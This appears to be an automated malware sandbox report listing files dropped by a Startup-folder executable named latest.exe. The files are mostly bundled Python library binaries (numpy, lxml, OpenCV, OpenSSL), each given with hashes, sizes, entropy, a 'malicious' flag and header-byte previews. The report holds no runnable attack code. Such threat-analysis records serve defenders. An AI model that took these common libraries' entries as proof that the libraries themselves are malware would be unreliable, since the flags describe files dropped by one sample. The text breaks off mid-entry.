SHA-512:	3B788AC88C1F2D682C1721C61D223A529697C7E43280686B914467B3B39E7D6DEBAFF4C0E2F42E9DDDB28B522F37CB5A3011E91C66D911609C63509F9228133D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..............................M....................................... ...?.......?.......?.a.....?.......Rich............................PE..d....jAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md__mypyc.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	5.917175475547778
Encrypted:	false
SSDEEP:	3072:bA3W6Fck6/g5DzNa4cMy/dzpd1dhdMdJGFEr6/vD:MW6NzcMy/d13FErgvD
MD5:	BF9A9DA1CF3C98346002648C3EAE6DCF
SHA1:	DB16C09FDC1722631A7A9C465BFE173D94EB5D8B
SHA-256:	4107B1D6F11D842074A9F21323290BBE97E8EED4AA778FBC348EE09CC4FA4637
SHA-512:	7371407D12E632FC8FB031393838D36E6A1FE1E978CED36FF750D84E183CDE6DD20F75074F4597742C9F8D6F87AF12794C589D596A81B920C6C62EE2BA2E5654
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..r...r...r......r...s...r...s...r...w...r...v..r...q...r.#.s...r...s...r..8z...r..8r...r..8....r..8p...r.Rich..r.........................PE..d....jAe.........." ...%.:...........<.......................................0............`.........................................@...d.......................(............ ......P...................................@............P...............................text....8.......:.................. ..`.rdata...W...P...X...>..............@..@.data...8=.......0..................@....pdata..(...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\cv2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	74452480
Entropy (8bit):	6.688458431409654
Encrypted:	false
SSDEEP:	393216:R6j4+mite1TViOawuRCeRiLq1lAfNRHJ/ZxvtmmLiAUwkRifDPVH:RZF1NT9
MD5:	901871C3AB330E0C3070226349EEC860
SHA1:	C07EAB479E0475B0992CDC99D9123981FB06777B
SHA-256:	A73AEB87DC1B2F6CD6E978B653E89604F09BE4B9531573020695CB48EB998E8A
SHA-512:	F45F8F22F552F23092691616E38D6F9AEC01D020C51F4D8B0FDD64FEB45D04135276D967BCD1C102408B757AF25F82F4194F85F8D4A0A3EAEED44ABABB34861C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......k)../H../H../H..B...cH..B...0H..B...H...?.H.....aH.....VH......H..B...H..u.5.~K../H..k..B...3H.....=I..=..,H../H..YI......J......H......H......H..Rich/H..........PE..d....{pf.........." ......L..&5.............................................@............`..........................................UC.d1..D.E.@............pc.................H......T......................(...P.................L.(............................text....P6......R6................. ..`IPPCODE.>B...p6..D...V6............. ..`.rdata........L.......L.............@..@.data........E.......E.............@....pdata.......pc.......Q.............@..@.tls.........p}.......k.............@...IPPDATA..M....}..N....k.............@....gfids..h.....}.......k.............@..@_RDATA........}.......k.............@..@.rsrc.................m.............@..@.reloc..H.............m.........

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\opencv_videoio_ffmpeg4100_64.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26391552
Entropy (8bit):	6.593432194938545
Encrypted:	false
SSDEEP:	196608:UQJqLjUxo5PA5MQrrrCyBOuqmWA2EYO8GTkTN/3Ogq2fxSo0U1T:UrPUxoqMQrrruuqt094hvOgq25p0aT
MD5:	BFEF029900F788480A363D6DC05C4F0E
SHA1:	F61AC0F8E6BF1B699698EC9DC94F9088F7C202AE
SHA-256:	3DE83B84588B3EE8BACDBEA85A8F92D4855A32A1108183963315A7DB06AD5744
SHA-512:	83046ABDB5252B831D2D683707BCF3007A1CDC84FB3AB56428507398EC1B9D3A5EC2877B36204B485CAACC407AA22C61FBDE85118F5CCF5DF0B04FFC5D651166
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...".2B......n..P..........p............................................. .............................................. ..p...p..8....0...............................................>..(...................L...............................text...p1B......2B.................`.P`.data........PB......6B.............@.`..rdata..0.>.. G...>...G.............@..@.rodata...... ......................@.P@.pdata.......0......................@.0@.xdata.............................@.0@.bss....`m............................`..edata...............h..............@.0@.idata..p*... ...,...j..............@.0..CRT....`....P......................@.@..tls.........`......................@.@..rsrc...8....p......................@.0..reloc..............................@.0B........................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\_elementpath.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	149504
Entropy (8bit):	5.951547042858228
Encrypted:	false
SSDEEP:	3072:zbpuTh8Lu413IHKn0MklBDenjwnVyvChfoKk4ly2zMnhVm5CO2:zbpuTh8K413IHDPBDajwVyvcQN4/5Cd
MD5:	90110E7A1D66D71A25E688FC9276B239
SHA1:	EDBDDFD4AB3F64C620232E4B65E9B385818652E8
SHA-256:	44F75C101A881157CA885E202ECE1EF5C709BB23ECF0C903226832F365B61AFC
SHA-512:	5A277F1F15E82DB495916227E056525A841C0D1DAC68218D2219DFE1D39C19D1C08898BFCE4C4343C053B9EB77F9992641D5B1BE88414A1A7955C7AEC349B029
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........].`...`...`....]..`.......`.......`.......`.......`.......`.......`...`...`.......`.......`....1..`.......`..Rich.`..........................PE..d.....f.........." ......................................................................`.........................................p...h.......d....p.......`..........................................................8............................................text...X........................... ..`.rdata..tM.......N..................@..@.data....6... ...&..................@....pdata.......`.......4..............@..@.rsrc........p.......D..............@..@.reloc...............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\builder.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	5.974361279516846
Encrypted:	false
SSDEEP:	1536:x/vEcjizHQMtXm0dwi61rYtGD/Xf/nkJoLFO:JEzwM80dO1ktIXkJoLFO
MD5:	C4D8C94F637AD2C1E6B94F8ED7AA7091
SHA1:	198A3D2DE26D7BA92D3545FEE847978C1808E877
SHA-256:	FA706813EBEF149B3EF620959D030597E0DDE6B7F363000885BE46F23B5A4E11
SHA-512:	368FACB8CD9E9F77AB14E33EAF4FAC82A7F109E812900304DC35BB46FB99213FD5B55DE6FF1CD15AC602F7D516C2877999ABF5E67198950206C527E293EE90C4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~'h.:F..:F..:F..3>..8F..h3..8F..q>..8F..h3..1F..h3..2F..h3..9F..)...9F..:F..F...3..;F...3..;F...3..;F...3..;F..Rich:F..........PE..d.....f.........." .........r............................................................`..........................................'..`...P(..d....p.......`..X............... ...p...................................8...............@............................text............................... ..`.rdata...K.......L..................@..@.data...8....@.......*..............@....pdata..X....`.......6..............@..@.rsrc........p.......@..............@..@.reloc.. ............B..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\etree.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4109824
Entropy (8bit):	6.729248423373761
Encrypted:	false
SSDEEP:	49152:yf9NSsLfWRgB/YUu1MU9On5bGHD/A/eXTqFtu5/UBAUZLYBFLh20GaX5sdt:ySvnHDoKUBAUZL
MD5:	970A6090EE9248730CDA390E93D3352B
SHA1:	E2D7D4355392288EB6D95CB1B320D245BFB6E55B
SHA-256:	9488AD20DC65FFF0511916720C935B21D29A3A493120A5A5CC6822BD145ACF37
SHA-512:	CCD8EC1A544FC0045A3F68A53D71F52F01C95163B10B3C9147A4A42E00612E739A22E75D48C97447BB4235768D58FB2CCED9908F6D03DE128B4AD4468C62EE0E
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........5M.TT#.TT#.TT#.],..BT#..!".VT#.2;.ST#..!&.XT#..!'.\T#..! .PT#.G.".VT#.TT"..U#..,".ST#..!'..T#..!+.WT#..!#.UT#..!.UT#..!!.UT#.RichTT#.........................PE..d.....f.........." ......&.........@U%.......................................?...........`..........................................g;.\...\g;.T....0?.......=..g...........@?.\|7..P.9.............................p.9.8.............&..............................text...H.&.......&................. ..`.rdata........&.......&.............@..@.data.........;.......;.............@....pdata...g....=..h....=.............@..@.rsrc........0?......\|>.............@..@.reloc..\|7...@?..8...~>.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\objectify.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1756672
Entropy (8bit):	7.045370504797133
Encrypted:	false
SSDEEP:	49152:npMzHmjJIQ9XAHxTlKmuPWfBAUZLYnAwK30GaXO:ngdFfBAUZLT
MD5:	5FF259C9D9609307B7F70AF1CD3BA608
SHA1:	2294190539340DB407C922F2EC2FCA03F784F7DC
SHA-256:	B49C9E620672D52DE3B2EA1736B73AC1D31588788DCFBFC761240F454AA3B02E
SHA-512:	F39505FA36CB30DA01F0B28D86D4DF56CE189CCF040A37FC0A451499EE4F8AAF07BFE46131A6C951F28E9DE6CA52DCDB47C2608C6440D334F9AB64BE58E3C8F3
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|T..85..85..85..1Ms..5..j@.:5..^Z..?5..j@.45..j@.05..j@.<5..+..:5..85._4..sM.=5...@..5...@.;5...@..95...@..95...@.95..Rich85..........................PE..d.....f.........." .....V..........@........................................@............`.............................................d.......,...............Dd..............l!...w...............................w..8............p...............................text....T.......V.................. ..`.rdata.......p.......Z..............@..@.data...8k... ...@..................@....pdata..Dd.......f...D..............@..@.rsrc...............................@..@.reloc..l!......."..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\sax.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.038193065158534
Encrypted:	false
SSDEEP:	3072:Ae/GZDWcHklrXlhox9oPZrLOlr1VLvnV:AeuYcElvPZr6lr1VL/V
MD5:	0B428F30F01CC7E150E632DFC075C44C
SHA1:	5C0DD131D104DEB9F3832CE244AA4328939CDD70
SHA-256:	F4E841063B7864D57FDE18C8D9FCCD7DE6E9BAE998EDF2765C0E38BDE7B6E2C5
SHA-512:	80B71C7DFEC23A272C3B3B43BA44952C98122BEDCC990CB36189C43AFF985399DD6CC787D4944C188964E2A3D5036884F6FFC23B5ECF7D52824673F06C3FE8BB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.a.6q..6q..6q..?...2q..d...4q..}...4q..d...=q..d...>q..d...2q..%...5q..6q...q......7q......7q......7q......7q..Rich6q..........................PE..d...#.f.........." .........\|...............................................P............`.............................................X.......x....0....... ..t............@..@.......................................8............................................text............................... ..`.rdata..4P.......R..................@..@.data...............................@....pdata..t.... ......................@..@.rsrc........0......................@..@.reloc..@....@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	20269568
Entropy (8bit):	6.26223001093884
Encrypted:	false
SSDEEP:	196608:YkRyLOBd+wrOzPW0K+VT2XZgBdeYzPXCt6eRe:YOOzPWy8kd7Xa6I
MD5:	DA1EA9BEB18A0598191B523CBB725056
SHA1:	1C0BB78A52723FEA8804BB4F5C4103622BCE6C3D
SHA-256:	7A62620B556F4A485CA273E34F0E224F345DA4530D15029C74BA6EA5DE878934
SHA-512:	B12C7EAEC2A83878503814C511EC66E0B864D92E3A75AE171025136DE4329586B89E8C1840987AE30332A2EA216819A22083A29C4730A4CD4AA99247AB817EFA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...$..+..F5..$..P........................................5......U5...`... .......................................1.DO...`5.d.............0..#............5.l............................e0.(...................lf5.@............................text.....+.......+.................`.``.data........0+......"+.............@.`..rdata........+.......+.............@.p@.pdata...#....0..$...d0.............@.0@.xdata..,"....0..$....0.............@.0@.bss.... "....0.......................`..edata..DO....1..P....0.............@.0@.idata..d....`5.......4.............@.0..CRT....`.....5.......5.............@.@..tls..........5.......5.............@.@..reloc..l.....5..0....5.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	618728
Entropy (8bit):	6.330906923348709
Encrypted:	false
SSDEEP:	12288:2O93oUW7jh6DN0RUhsduQjqDZ6X/t5mTOKGmJ7DseBiltBMQEKZm+jWodEEVoFn:l3oUW7jh6DN0RUhsduQjqDZ6X/t5mTOq
MD5:	C7CA543046C55D16B322158F6B1C2FF5
SHA1:	E7E8F91597F33E84515E70DFD06E598D579979F7
SHA-256:	32E6C8100BD62E7A91F50996C2A59692DC796B6F140A2DFA4DE313CA43D4C748
SHA-512:	B0EB94D3E98780E22FBBE4598632A0BF66BCDFCA0657E350B71426845C81F26AB7DF97EDD75CBA985C4A3E5C0B68B2EEDF75BE5487DF9BBA76080E78B5AFBD66
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`..r$..!$..!$..!.O.!&..!-.\|!2..!v.. '..!$..!...!v.. '..!v.. o..!v.. j..!v.. %..!v..!%..!v.. %..!Rich$..!................PE..d.....0].........." .........`...... ..............................................."a....`A............................................h....................0..t@...T..................8............................................ ..........@....................text...<........................... ..`.rdata..<.... ......................@..@.data....;..........................@....pdata..t@...0...B..................@..@.didat..h............B..............@....rsrc................D..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\_core\_multiarray_tests.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	6.016963575869102
Encrypted:	false
SSDEEP:	768:4w4kFSHCu11F3uHi3I8LsXqpy55XrwtvnEPGFLfj9LiGvqkutKDPO:p4F13uHQL5y8tvEPGF3w00twPO
MD5:	E2604DF985FC3FA6E76890F62B4F6CB3
SHA1:	3F60D69BFC3EF98C08F84BF7EDB5D8CA3C574C39
SHA-256:	0A6E353DE81890004F9D4360B641D0546DFB60FE7458DD7AF765E50B313DA2F1
SHA-512:	F9014E609BB218F158D1D2CD256F012F40B5F8A5FE393D2BB39EAB8488B4D1B6657F980CDDB5D98BDCE424CC69D9599B286E16B7F4CE150B9EF99C6501C7EF60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........R..............................................@......h!....`.................................................l................ ...............0..p...p...................................8...............@............................text.............................. .P`.rdata..n8.......:..................@.P@.data...............................@.P..pdata....... ......................@.0@.reloc..p....0......................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\_core\_multiarray_umath.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4159488
Entropy (8bit):	6.720231980669941
Encrypted:	false
SSDEEP:	49152:RSwaZQpi42H4qPjw6BYamHc+wUmSDzopaD4DG+nbywkHXvsW72Ftn:Ri4qSZHctTG+nGvsX
MD5:	37E114B3927DBB95DDF2B6C1CC971017
SHA1:	26697CF430D04B2FAEB1B08D4DA62CC6C930B817
SHA-256:	ED8870031608A086B7542B3854B74BE6071652F231BB61300D561EB249FACAA8
SHA-512:	AC919C50C3F7903F37861BA30336A0A0C6B8C00DF9B7F41485C9C2EDC551B28AE6A42E1037C94B2D2DE84D29526B5C26D9B087C3A542721AB5C99D51C84EAB47
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."......2..X......d.2......................................0A......T@...`..........................................?;.t...T@;.@............ ?...............A..#...o8......................q8.(....p8.8.............2.h............................text.....2.......2................. .P`.rdata........2.......2.............@.P@.data.........;......d;.............@.P..pdata....... ?......~=.............@.0@.reloc...#....A..$...T?.............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\fft\_pocketfft_umath.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	279040
Entropy (8bit):	6.224706874637973
Encrypted:	false
SSDEEP:	6144:AJGFkCjS3571R/F0fPnbp01IbX53ucVTRfTpZx+NZl2U+g3jiwy1eLge:AJAjS3/R/anH53ucVTNEpU3e
MD5:	50975AD79669BBBCC8810AFF43C1B4C3
SHA1:	E7BA0570D275ADEC72DD3FA49E9728B2A55FCCED
SHA-256:	61B9B4EA91FEA64E945C6897298AC638002D64F9A0D27CF4815E04BD80A46039
SHA-512:	3E33CF10C0E9D0EDEA14CEF99A4ACCF8D83FAD421965751A94AE99E4DFC3F47C1F5EF435CF0EB45C03CB60479EF3405EAAFB315B5A55E37AB0E24F6D2314DE4A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........P...............................................p......r.....`......................................... 1..p....1...............P..X............`......@...............................`...8............................................text...R........................... .P`.rdata...9.......:..................@.P@.data........@.......,..............@.P..pdata..X....P.......0..............@.0@.reloc.......`.......@..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\linalg\_umath_linalg.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	108032
Entropy (8bit):	6.299055533151349
Encrypted:	false
SSDEEP:	1536:C7d2r1oKsmot9KBQqaGOZDbP5ngZpp3LHaKil69s7NrDsltdfFB:MwY7KHapjZgZppjhX9s7NrDsltdfv
MD5:	EF26AB7F0EC331654071EF0BD50BA7E4
SHA1:	D565B56087D5FC07A9DC9AC2FE1E0DAA52746635
SHA-256:	5C3521F2F50BDF1D779094D729D61D747E3A2A78E27BC47CC2F31E75747EE2B3
SHA-512:	20906187D3A9CFA346635AF17FCF9F51CE66DBA49D3C21BDEAEB644FBE4E462ED089ED49F778C7D4939887EF2DE60CF486FD47B9C37B8922E8EC7BCF9C9FBD42
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....R...V......pV..............................................Y8....`.............................................l..........................................................................0...8............p..H............................text...8Q.......R.................. .P`.rdata...7...p...8...V..............@.P@.data...............................@.P..pdata..............................@.0@.reloc..............................@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_bounded_integers.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	226304
Entropy (8bit):	6.476582752080795
Encrypted:	false
SSDEEP:	3072:GEAMAcuCeDjpWODa3JX0GnWhVZYDq9QKQdAXy58gzAtNtz3A1TKUWAKBFmOnG:dAjcG1WODa3JX0x1QgXyBWjwTgAKXjG
MD5:	CD34505E16E2A3CEDEA331039F0DA901
SHA1:	3AC3E2B41950DBCCA3089E677C8D462B986D74D7
SHA-256:	A023A8B413D92EECD4D63DFEA78757C1F53C64CB13C3EF813327A2C7EB0331EB
SHA-512:	41CF23CBE4DEED8F7196111174A1192E80834DA478F6DFECDD1E88A57421568A1E7C6FCBDA6723F06816A16D955A27AC7544A18EA9D2192720A602DA27B255A5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."................................................................7.....`..........................................U.. ....^..x...............................P....8...............................9..8............................................text............................... .P`.rdata..\...........................@.P@.data...8............^..............@.P..pdata...............`..............@.0@.reloc..P............r..............@.0B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_common.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	6.159954440817978
Encrypted:	false
SSDEEP:	3072:u6dM96V3jflSmyzGuuBKNr8RWzmpdnxbLwH3f:u6dM9E3jflSmyaVQ9FzQ7Mf
MD5:	6C5C8E32D621CB67D9F4D151C9280FE2
SHA1:	FC4CFC4958227663151FB939128A6A6B82257E00
SHA-256:	84800278F2ED12448577AAF6637A759EE3E4DD4726FC4A103FC555435140C7CC
